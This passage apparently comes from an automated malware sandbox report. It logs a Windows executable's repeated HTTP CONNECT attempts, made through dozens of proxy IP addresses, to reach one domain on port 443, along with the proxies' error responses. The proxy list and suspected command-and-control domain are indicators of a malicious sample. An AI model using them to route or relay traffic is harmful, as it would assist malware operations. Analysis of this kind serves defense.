Mar 11, 2024 15:21:07.325273037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.934811115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.138308048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.325723886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.637902021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.825478077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.137859106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.841036081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.9	53377	85.239.121.168	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.726722002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.9	52813	90.74.184.32	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.748378038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.840980053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.088401079 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 15:22:14.234056950 CET	208	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 829 Content-Type: text/html Date: Mon, 11 Mar 2024 14:22:10 GMT Expires: Mon, 11 Mar 2024 14:22:10 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.9	53375	103.127.1.130	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.750319004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.9	49735	104.128.103.32	64312	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.753639936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.9	53449	172.67.182.165	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.769787073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.924067020 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.9	53452	104.24.236.203	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.770447969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.924640894 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.9	53459	172.67.209.12	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.772473097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.926985979 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.9	53462	104.23.128.174	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.773838997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.928247929 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.9	51515	148.72.209.174	16203	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.773999929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841013908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.934791088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.934776068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.934420109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:42.934386969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.028129101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:19.137634039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.9	53437	142.4.123.41	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.779400110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.9	52806	60.188.102.225	18080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.782821894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.9	53498	172.64.152.98	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.795758963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.950571060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.9	53436	37.187.77.58	3139	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.796113968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.9	53507	104.19.171.188	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.796511889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.950793028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.9	52819	159.65.245.255	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.797164917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903542995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.997340918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.997579098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.793263912 CET	467	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:19 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.9	51502	185.247.224.85	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.800429106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.9	53521	104.20.225.218	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.801177979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.955574036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.9	53349	117.160.250.131	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.806195021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.417220116 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.9	53536	172.67.182.22	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.812938929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
